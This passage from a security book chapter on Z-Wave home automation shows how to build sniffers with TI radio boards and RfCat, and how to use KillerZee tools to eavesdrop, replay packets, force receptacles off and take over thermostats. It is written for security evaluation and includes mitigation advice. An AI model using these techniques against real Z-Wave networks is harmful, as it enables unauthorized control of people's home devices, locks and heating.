bridge,	as	shown	in	Figure	14-12	(and	summarized	in	Table	14-5).

Figure	14-12	CC1110DK-to-FTDI	Friend	wiring

Table	14-5	CC1110DK-to-FTDI	Friend	Wiring	Summary

	

We’ve	included	wiring	instructions	for	the	FTDI	Friend	USB-to-UART	adapter.	When
correctly	wired,	data	sent	from	the	host	to	the	USB-to-UART	device	will	cause	the	LED	to
blink	(for	instance,	when	you	press	ENTER	from	a	terminal	emulator).	If	you	use	a	different
USB-to-UART	adapter,	you	will	have	to	refer	to	the	product	documentation	to	identify	the
correct	pins	for	GND,	TX,	and	RX.

With	the	correct	firmware	applied	to	the	two	devices,	use	two	AAA	batteries	to	power



the	CC1110DK	boards.	Place	a	jumper	across	pins	1	and	2	on	the	P1	jumper	to	power	the
board	from	the	batteries.	Connect	the	RX	CC1110DK	board’s	USB-to	UART	adapter	to
your	Windows	host,	allowing	Windows	to	install	the	needed	drivers	automatically.	Note
the	COM	port	number	for	use	as	the	RX	interface.	Repeat	this	procedure	with	the	TX
board	as	well,	noting	the	second	COM	port	number	for	use	as	the	TX	interface.
	

You	can	power	the	CC1110DK	from	the	FTDI	Friend	without	using	batteries.	First,	cut	the
5V	VCC	lead	on	the	back	of	the	FTDI	Friend	and	solder	a	connection	on	the	3V	jumper
instead.	Connect	pin	1	of	the	four	jumper	pins	to	the	VCC	pin	on	the	FTDI	Friend	to
power	the	CC1110DK	over	USB.	While	powered	over	the	FTDI	Friend	VCC	pin,	do	not
connect	a	second	power	source	to	the	CC1110DK.

With	all	that	work	completed,	you	can	start	the	Z-Force	application.	Click	Options	|
RF	Boards	to	select	the	two	COM	port	interfaces	for	the	RX	and	the	TX	boards.	To	start
capturing	Z-Wave	traffic,	select	Tools	|	Start	Capture.	Z-Force	will	display	received
packets	similar	to	the	example	shown	in	Figure	14-13.	Click	Tools	|	Stop	Capture	to	stop
the	packet	capture	process.

Unfortunately,	Z-Force	does	not	provide	many	of	the	common	features	found	in	packet
capture	tools.	Z-Force	has	only	minimal	packet-decoding	capabilities,	extracting	the
HomeID,	source	ID,	and	destination	ID	fields	while	identifying	Z-Wave	Beam	activity	and
the	remainder	of	the	packet	data.	Also,	Z-Force	lacks	the	ability	to	save	packet	capture
data	in	any	format	for	use	with	other	tools	and	lacks	support	for	the	Z-Wave	R1,	R3,	and
Z-Wave	Plus	profiles	(the	Z-Force	firmware	only	supports	the	R2	Z-Wave	profile).
Finally,	as	a	closed	source	project,	without	continued	development	from	the	authors	since
the	introduction	of	Z-Force	in	2013,	it	is	unlikely	that	new	features	will	be	added.	To
address	these	limitations	while	writing	this	chapter,	this	author	started	a	new	project	for	Z-
Wave	sniffing:	KillerZee.



Figure	14-13	Z-Wave	packet	capture

Open	Source	CC1110DK	Z-Wave	Tools
As	an	alternative	to	Z-Force,	researcher	Jean-Louis	Bourdon	started	the	ZTsunami
project.	Designed	to	be	both	a	Z-Wave	sniffer	and	packet	injection	tool	with	a	single
CC1110DK	interface,	he	is	working	toward	making	ZTsunami	a	powerful	tool	for
deeper	analysis	and	dissection	of	Z-Wave	traffic.	As	an	open	source	project,	ZTsunami
has	several	advantages	over	Z-Force,	including	growing	community	support	and	active
development	from	project	volunteers.

At	the	time	of	this	writing,	ZTsunami	is	still	limited	in	functionality,	although	able
to	capture	and	log	Z-Wave	traffic	to	a	file	on	European	and	North	American
frequencies.	However,	since	both	the	firmware	and	Windows	sniffer	sources	are
available	under	a	GPLv2	license,	future	development	for	Z-Wave	sniffing	using	the
CC1110DK	hardware	platform	will	likely	target	this	platform	instead	of	Z-Force.

ZTsunami	is	available	at	https://code.google.com/p/ztsunami.	An	example	of	the
early	packet	capture	results	are	shown	here:



	KillerZee	Eavesdropping

The	KillerZee	project	was	created	out	of	a	desire	to	simplify	the	development	of	Z-
Wave	sniffing,	to	extend	packet	sniffing	functionality	to	include	common	network	sniffer
features,	and	to	leverage	open	source	software	to	meet	the	worldwide	frequency	needs	for
a	Z-Wave	attack	platform.	At	the	time	of	this	writing,	development	is	still	underway	for
KillerZee,	though	the	existing	features	already	meet	many	of	these	goals.

KillerZee	is	both	a	collection	of	tools	for	evaluating	the	security	of	Z-Wave	networks
and	a	framework	for	the	development	of	new	Z-Wave	tools.	Using	KillerZee,	you	can
eavesdrop	on	Z-Wave	networks,	enumerate	connected	Z-Wave	peripheral	devices,	exploit
weaknesses	in	the	use	of	Z-Wave	technology,	and	manipulate	Z-Wave	network	activity	to
identify	new	flaws	that	can	be	exploited.

Instead	of	using	the	CC1110DK	hardware,	KillerZee	leverages	the	CC1111	USB
Evaluation	Module	Kit	(EMK)	from	Texas	Instruments,	shown	in	Figure	14-14.	The
CC1111EMK	uses	a	similar	chip	to	the	CC1110DK,	but	adds	USB	functionality,	existing
header	pins	for	programming,	and	a	flexible	push-button	for	custom	use.	Unfortunately,
the	CC1111EMK	lacks	some	of	the	range	of	the	CC1110DK,	but	still	performs	adequately
for	Z-Wave	packet	capture	needs.



Figure	14-14	Texas	Instruments	CC1111EMK

The	CC1111EMK	and	KillerZee	leverage	the	firmware	and	Python	framework
developed	in	the	RfCat	project	by	“@tlas	0f	d00m.”	RfCat	is	dubbed	“the	Swiss	army
knife	of	sub-GHz	radio,”	serving	as	a	framework	for	researching	and	attacking	sub-1-GHz
networks	using	Chipcon	1111	chips,	including	the	CC1111EMK.	With	open	source
firmware	(written	in	C	using	the	Small	Device	C	Compiler	[SDCC])	and	a	Python
framework	for	interacting	with	the	CC1111	chip	(known	as	“rflib”),	RfCat	serves	as	both	a
platform	for	experimentation	with	sub-1-GHz	networks	and	as	an	API	for	developing
custom	tools.

RfCat	requires	some	initial	setup	to	flash	the	CC1111	chip	with	RfCat	firmware.	After
flashing	the	RfCat	firmware	(bootloader	and	firmware	for	the	CC1111EMK,	known	as
“DonsDongle”	in	RfCat	parlance),	there	is	little	additional	maintenance	needed,	so	we	can
jump	right	into	Z-Wave	sniffing	attacks.	To	flash	the	CC1111EMK	with	RfCat	firmware,
you	need	the	following	components:

•			One	or	more	CC1111EMK	interfaces,	available	at	http://www.digikey.com
and	other	popular	online	electronics	websites

•		A	GoodFET	interface	for	flashing	the	CC1111EMK,	available	at
Adafruit.com,	part	number	1279	(additional	information	about	the	GoodFET	is
available	in	Chapter	13)

•		Five	female-to-female	prototyping	jumpers,	such	as	Adafruit.com	part
number	266

•		A	Linux	host	with	one	free	USB	interface

First,	let’s	look	at	installing	RfCat	and	the	GoodFET	tools,	and	then	we’ll	look	at	the
process	of	wiring	and	flashing	the	CC1111EMK.	With	an	RfCat-flashed	CC1111EMK
device,	we’ll	focus	on	leveraging	the	hardware	with	KillerZee	to	attack	Z-Wave	networks.

Installing	RfCat	RfCat	source	code	is	managed	using	the	Mercurial	version	control
system.	From	your	Linux	host,	install	the	Mercurial	software	using	the	package
management	tool	provided	by	your	Linux	distribution	vendor.	The	examples	that	follow
assume	a	Debian-or	Ubuntu-based	system:
$	sudo	apt-get	install	mercurial

Next,	retrieve	the	source	code	for	the	RfCat	project	using	Mercurial’s	hg	utility	and
change	to	the	rfcat	directory,	as	shown	here:

http://www.digikey.com
http://Adafruit.com
http://Adafruit.com


Next,	build	and	install	the	Python	rfcat	utility	and	rflib	library:
$	sudo	python	setup.py	install

To	use	RfCat	without	root	privileges	and	to	set	up	the	correct	device	links	for	access	in
bootloader	mode,	you	need	to	modify	the	Linux	device	management	configuration	(udev).
Copy	the	RfCat-supplied	configuration	file	to	the	Linux	udev	rules	directory,	and	then
reload	the	udev	configuration,	as	shown	here:

Finally,	copy	the	RfCat	bootloader.py	script	to	a	location	in	your	system	PATH,	as
shown:
$	sudo	cp	CC-Bootloader/bootload.py	/usr/local/bin

Now	that	you’ve	finished	the	RfCat	installation,	you	can	proceed	with	installing	the
GoodFET	software.

Installing	GoodFET	We	use	GoodFET	to	flash	the	initial	bootloader	code	onto	the
CC1111EMK	hardware.	First,	install	the	git	version	management	tool	and	the	GoodFET
package	requirements,	and	then	download	the	current	GoodFET	sources,	as	shown	here:

Next,	change	to	the	GoodFET	client	directory	and	create	symbolic	links	to	the
GoodFET	client	tools,	as	shown	here:

Finally,	add	your	user	account	to	the	dialout	group	to	use	GoodFET	without	root
privileges:



	

You	will	have	to	log	out	and	log	in	again	for	the	group	membership	change	to	become
effective.

With	RfCat	and	GoodFET	installed,	you	can	move	on	to	wiring	the	CC1111EMK	to
the	GoodFET.

Wiring	CC1111EMK	Interfaces	Next,	load	the	RfCat	CCBootloader	code	onto	the
CC1111EMK	using	the	GoodFET.	This	is	a	one-time	operation,	allowing	you	to	update
the	RfCat	firmware	later	without	having	to	wire	the	GoodFET	again.

The	CC1111EMK	has	two	sets	of	headers:	test	and	debug.	Connect	the	necessary
debug	pins	to	the	GoodFET	with	the	female-to-female	jumpers,	as	shown	in	Figure	14-15
(summarized	in	Table	14-6).

Figure	14-15	CC1111EMK-to-GoodFET	wiring

Table	14-6	CC1111EMK-to-GoodFET	Wiring	Summary



Because	the	GoodFET	provides	power	to	the	CC1111EMK,	you	do	not	need	to	power
the	CC1111EMK	to	flash	the	chip.	Simply	plug	in	the	GoodFET	to	your	Linux	system	and
retrieve	basic	information	from	the	CC1111	chip,	as	shown	here:

If	the	goodfet.cc	utility	reports	a	chip	ID	of	0x0000,	check	your	wiring	to	ensure	it
matches	the	schematic	in	Figure	14-15.

Flashing	CC1111EMK	Now	that	the	GoodFET	is	configured	to	communicate	with	the
CC1111	chip,	flash	the	CCBootloader	code	onto	the	chip,	as	shown	here:

Now	that	the	GoodFET	has	been	flashed	with	the	CCBootloader	code,	you	can
disconnect	the	GoodFET	from	the	CC1111EMK.	The	CCBootloader	allows	you	to	flash
and	reflash	the	CC1111EMK	with	different	firmware	files	as	needed.

Next,	place	the	CC1111EMK	device	in	bootloader	mode	by	holding	down	the	button
and	inserting	it	into	an	available	USB	port	(let	go	of	the	button	after	inserting	the	USB
device).	You	will	see	the	green	LED	on	the	CC1111EMK	light	up	and	register	as	a	serial
device	under	Linux	by	looking	at	kernel	logs,	as	shown	here:



You	interact	with	the	CC1111EMK	in	bootloader	mode	using	the	bootloader.py	script.
First,	erase	any	content	from	the	accessible	flash	region:
$	bootload.py	/dev/ttyACM0	erase_all

RC	=	0	(OK)

Next,	download	the	latest	version	of	the	CC1111EMK	firmware	from	the	RfCat
project	at	https://bitbucket.org/atlas0fd00m/rfcat/downloads.	Select	the	filename	starting
with	“RfCatDonsCCBootloader,”	followed	by	a	version	number,	and	ending	in	“.hex”.	In
this	example,	we	use	the	140904	build:

Next,	flash	the	RfCat	firmware	using	bootload.py:

Use	the	bootload.py	script	to	run	the	RfCat	firmware	(as	shown	next),	or	simply
unplug	and	plug	in	your	RfCat	interface:
$	bootload.py	/dev/ttyACM0	run

With	the	RfCat	firmware	available	on	the	CC1111EMK	interface,	now	you	can	start	to
eavesdrop	on	Z-Wave	networks	using	KillerZee.

Install	KillerZee	Finally,	download	and	install	the	latest	version	of	the	KillerZee
software.	This	is	a	straightforward	process,	as	shown	here:

With	the	flashed	CC1111EMK	interface	and	the	KillerZee	software	installed,	you	can	start
eavesdropping	on	Z-Wave	networks.

KillerZee	Sniffing	The	KillerZee	utility	zwdump	is	similar	to	the	tcpdump	utility	but	for
Z-Wave	networks.	To	capture	and	display	basic	information	about	Z-Wave	networks,	run
zbdump	with	no	arguments,	as	shown	here:

http://www.bitbucket.org/atlas0fd00m/rfcat/downloads


As	you	would	expect	from	a	tcpdump-like	capture	tool,	zwdump	can	also	write	the
packet	capture	to	a	libpcap	file	and	read	from	saved	packet	captures	as	well:

	

Adding	the	-v	argument	to	zwdump	when	writing	to	a	libpcap	file	will	also	decode	and
display	the	contents	of	received	packets.

KillerZee	and	the	included	tools	are	all	designed	for	worldwide	compatibility	with	Z-
Wave	networks,	supporting	both	the	R1	and	R2	profiles.	By	default,	zwdump	and	other



tools	default	to	the	R2	profile	for	the	North	American	frequencies,	but	you	can	change	this
on	the	command	line.	The	following	example	captures	network	activity	for	Z-Wave
devices	in	the	United	States	using	the	R1	profile:

To	use	KillerZee	utilities	like	zwdump	in	other	radio	regulatory	domains,	simply
specify	the	two-letter	country	code	with	the	-c	argument,	as	shown	here:

	

At	the	time	of	this	writing,	KillerZee	supports	the	RF	regulatory	domain	use	from	over	60
countries,	from	Canada	to	New	Zealand.

Unfortunately,	Z-Wave	decoding	has	not	yet	been	integrated	into	the	Wireshark
project,	though	this	is	marked	as	an	urgent	task	in	the	KillerZee	project	roadmap.	Check
the	KillerZee	website	for	updates	at	http://killerzee.willhackforsushi.com.

	Mitigating	Z-Wave	Eavesdropping	Attacks
Like	any	wireless	technology,	Z-Wave	users	should	keep	in	mind	that	an	attacker	can
always	capture	wireless	network	traffic	to	implement	an	eavesdropping	attack.	In	these
examples,	the	network	activity	is	not	protected	by	encryption	routines	to	ensure

http://killerzee.willhackforsushi.com


confidentiality	and	integrity	of	the	data.	Wherever	possible,	users	should	leverage	the
built-in	Z-Wave	encryption	features	or	third-party	encryption	routines	to	protect	against
sensitive	information	disclosure.

Unfortunately,	the	Z-Wave	Alliance	does	not	mandate	the	use	of	encryption	in	Z-Wave
products,	leaving	many	consumers	vulnerable	to	eavesdropping	attacks.	In	many
situations,	the	only	defense	to	protect	against	sensitive	information	disclosure	is	to	switch
to	a	vendor	that	offers	network	confidentiality	and	integrity	control.

Z-Wave	Injection	Attacks
Even	without	access	to	the	Z-Wave	specification,	we	can	infer	that	encryption	support	is
not	mandatory	for	product	vendors.	Indeed,	many	Z-Wave	product	vendors	sell	smart-
home	products,	from	thermostats	to	remote	control	power	receptacles,	which	lack	basic
encryption	or	integrity	protection	support.	For	these	networks,	an	attacker	can	inject
arbitrary	packet	content	or	replay	previously	captured	packets	to	manipulate	Z-Wave
nodes.

	

Without	cryptography	in	the	network,	the	Z-Wave	inclusion	process	amounts	to
connectionless	address-based	filtering.	Like	other	connectionless	address-based	filtering
mechanisms,	an	attacker	who	can	spoof	the	source	address	of	a	legitimate	node	on	the
network	can	inject	packet	content	without	being	specifically	included	in	the	network.

	Z-Wave	Unencrypted	Traffic	Replay	Attacks

In	a	replay	attack,	the	attacker	retransmits	previously	observed	packets	to	reproduce
network	events	without	authorization.	Executing	a	replay	attack	is	straightforward:	simply
replay	the	contents	of	a	stored	packet	capture	file.	The	impact	of	such	an	attack	can	vary
significantly.

Consider	the	case	in	which	an	unencrypted	Z-Wave	network	is	established	between	a
thermostat	and	a	Z-Wave	controller.	An	attacker	who	observes	an	“increase	temperature
one	degree”	packet	could	replay	that	packet	multiple	times	to	increase	the	temperature	to
uncomfortable	levels.	An	alternative	attack	could	target	a	Z-Wave	door	lock:	capturing
and	replaying	previous	door	unlock	packets	could	yield	unauthorized	access.



Replay	with	Z-Force	Z-Force	includes	basic	packet	transmission	functionality	in	the
Tools	|	Send	Packet	menu	option.	Enter	the	values	for	the	target	network	HomeID,	source
NodeID,	destination	NodeID,	and	the	frame	control	values	(in	Z-Wave,	the	“header”)	in
hexadecimal	notation.	Next	enter	the	packet	payload	content	you	want	to	send	and	click
the	Send	button,	as	shown	in	Figure	14-16.

	

Do	not	include	the	Frame	Check	Sequence	(FCS)	at	the	end	of	the	injected	packet.	Z-
Force	will	calculate	the	FCS	and	include	the	value	at	the	end	of	the	packet	during
transmission.

In	addition	to	the	ability	to	replay	previously	observed	packets,	Z-Force	can	inject
modified	packet	content.	The	tool	can	then	be	used	for	simple	packet	fuzzing	testing,	and
it	can	reuse	previously	observed	packet	payload	data	against	new	target	NodeIDs,	simply
by	changing	the	destination	NodeID	value.

Figure	14-16	Z-Force	packet	transmit	example

Replay	with	KillerZee	KillerZee	can	similarly	transmit	arbitrary	packet	content	like	Z-
Force	using	a	short	Python	script.	The	packet	transmitted	with	Z-Force,	shown	in	Figure
14-16,	can	similarly	be	transmitted	with	KillerZee,	as	shown	here:



	

In	this	example,	the	byte	“0c”	is	the	length	byte,	representing	a	total	packet	length	of	0x0c,
or	12	bytes.	Use	the	Z-Wave	MAC	unicast	frame	format	as	a	guide,	shown	in	Figure	14-2,
for	creating	and	decoding	packets.

Using	a	script	to	transmit	Z-Wave	packets	is	convenient	if	you	have	a	specific	packet
format	in	mind.	However,	it	is	easier	to	experiment	with	Z-Wave	packet	replay	attacks
using	the	KillerZee	zwreplay	utility.

Zwreplay	accepts	an	input	libpcap	packet	capture	and	retransmits	the	contents	of	each
data	packet.	This	technique	is	useful	for	experimenting	with	Z-Wave	networks	following	a
packet	capture	or	as	a	mechanism	to	automate	a	desirable	replay	attack	condition	easily:

In	this	example,	we	capture	10	packets	from	the	Z-Wave	network,	saving	the	packets	to
the	file	experiment.pcap.	Next,	we	retransmit	each	of	the	data	packets,	with	a	one-second
delay	between	each	packet,	using	zwreplay.

To	evaluate	the	impact	of	this	type	of	attack,	you	need	to	capture	packets	and	replay
them,	observing	the	behavior	from	the	target	Z-Wave	device	(e.g.,	turning	the	temperature
down	on	the	thermostat	and	observing	it	continue	to	decrement	with	each	retransmitted
packet).	If	you	identify	a	specific	packet	in	the	capture	file	that	you	want	to	isolate	from
the	rest	of	the	packets,	you	can	create	a	new	packet	capture	with	just	that	packet	using
Wireshark’s	tshark	utility.	In	the	following	example,	we	create	a	new	packet	capture	from
the	original,	only	with	frame	number	5:



With	the	ability	to	inject	arbitrary	packets	with	KillerZee,	attackers	have	the
opportunity	to	take	specific	frames	that	perform	a	desirable	action	and	automate	them	into
simple	tools.	Next,	we	look	at	two	examples	of	these	attacks	included	with	the	KillerZee
project.

	Z-Wave	Lights-Out

By	experimenting	with	Z-Wave	packet	captures	and	replay	attacks,	we	can	identify
and	evaluate	the	impact	of	Z-Wave	attacks.	The	applicability	of	attacks	will	likely	vary
across	different	product	manufacturers	(an	attack	against	one	vendor	that	does	not	use
encryption	will	not	work	against	another	vendor	that	does,	for	example),	but	they	can	still
be	leveraged	in	many	scenarios.

One	common	use	of	Z-Wave	is	to	remotely	turn	on	and	off	power	receptacles	such	as
in	the	following	example.

These	devices	implement	the	COMMAND_CLASS_SWITCH_ALL	functionality,	using	a
single	Z-Wave	packet	to	turn	the	receptacle	on	or	off.	With	the	HomeID	of	the	network,
the	KillerZee	utility	kzpowerdown	can	be	used	to	force	a	power-off	event,	as	shown	here:



In	this	example,	we	use	the	zwdump	utility	to	observe	the	user	legitimately	turning	on
a	receptacle.	By	knowing	the	HomeID	of	the	network,	the	attacker	can	then	transmit
repeated	“power	off”	messages	to	the	broadcast	address,	causing	all	receptacles	in	the	Z-
Wave	network	to	power	down.	The	zwpoweroff	script	keeps	transmitting	the	“power	off”
messages,	so	even	if	the	user	powers	a	device	back	on	with	Z-Wave,	the	attack	script	will
cause	the	device	to	power	off	again	almost	immediately.

	

You	can	target	a	specific	device	in	the	Z-Wave	network	with	zwpoweroff’s	-d	argument,
specifying	the	target	NodeID	as	well	as	the	target	HomeID.

Z-Wave	Thermostat	Manipulation

Smart	thermostats	are	an	important	element	in	smart	energy	systems.	By	using	a	smart
thermostat,	consumers	can	optimize	their	energy	use	for	heating	and	cooling	based	on
dynamic	pricing	for	electricity	and	other	natural	resources.	As	a	result,	thermostats	based
on	Z-Wave	technology	are	popular	worldwide.

In	this	author’s	testing,	I	have	discovered	that	many	Z-Wave	thermostats	do	not	use	Z-
Wave	encryption	or	authentication	mechanisms.	This	leaves	the	thermostats	vulnerable	to
packet	injection	attacks,	allowing	an	adversary	to	manipulate	the	thermostat	remotely.
KillerZee	includes	two	utilities	to	demonstrate	this	vulnerability.



Z-Wave	thermostats	implement	the	COMMAND_CLASS_THERMOSTAT_MODE
functionality	to	indicate	the	operating	mode	of	the	thermostat.	A	controller	can	instruct	the
Z-Wave	thermostat	to	change	the	operating	mode	to	one	of	several	values	such	as	heating,
cooling,	fan	only,	dry	air,	economical	heating	or	cooling,	and	more.	An	attacker	can
observe	this	behavior	with	zwdump,	as	shown	here:

In	this	output,	the	attacker	can	observe	a	THERMOSTAT_MODE	command	sent	to	the
destination	NodeID	0x02,	changing	the	device	to	cooling	mode.	An	attacker	can	then	use
the	KillerZee	zwthermostatctrl	utility	to	change	the	thermostat	configuration	to	heating,	as
shown	here:

Similarly,	Z-Wave	thermostats	implement	the
COMMAND_CLASS_THERMOSTAT_SETPOINT	functionality	to	control	the
temperature	of	the	thermostat.	The	temperature	to	set	on	the	thermostat	is	measured	in
Fahrenheit	degrees	(in	this	author’s	testing),	with	a	range	of	0–255	degrees.	After	setting
the	mode	of	the	thermostat	to	heating	with	zwthermostatctrl,	an	attacker	can	change	the
temperature	to	any	value	supported	by	the	target	thermostat	with	the	zwthermostattemp
utility:

When	the	thermostat	receives	the	frame	sent	by	the	attacker,	it	adjusts	the	target
temperature,	as	shown	in	Figure	14-17.	By	continuing	to	transmit	the	frame,	the	attacker
can	retain	the	specified	temperature	setting,	even	if	other	Z-Wave	system	components	(or
the	home	owner)	attempts	to	reduce	the	temperature	setting.



Figure	14-17	Target	thermostat	reporting	set	temperature

	Defeating	Z-Wave	Injection	Attacks
Like	the	threat	of	Z-Wave	eavesdropping,	Z-Wave	deployments	are	vulnerable	to	injection
attacks	when	the	deployments	do	not	use	the	optional	Z-Wave	encryption	and	integrity
protection	mechanisms.	To	mitigate	the	threat	of	injection	attacks,	leverage	Z-Wave
encryption	where	available.	However,	many	products	lack	such	security	controls,	leaving
them	vulnerable	to	attack.

Summary
Like	any	other	wireless	protocol,	Z-Wave	technology	can	be	exploited	when	vendors	don’t
adopt	the	necessary	security	precautions	to	protect	the	integrity	of	the	protocol.
Unfortunately	for	consumers,	the	lack	of	security	in	Z-Wave	products	is	not	advertised,
leaving	consumers	with	no	confidence	of	security	in	the	Z-Wave	products	adopted	in	the
home	or	business.

With	the	introduction	of	the	KillerZee	project,	analysts	can	start	to	evaluate	the
security	of	Z-Wave	deployments	for	a	minimal	hardware	investment.	With	support	for
worldwide	Z-Wave	frequencies,	KillerZee	also	supports	the	international	community,
providing	the	necessary	tools	to	evaluate	Z-Wave	deployments	everywhere.	As	the
KillerZee	project	grows	in	maturity,	additional	support	for	evaluating	encrypted	Z-Wave
networks	will	also	be	an	option	to	explore	and	validate	further	the	security	of	this	growing
wireless	network	technology.
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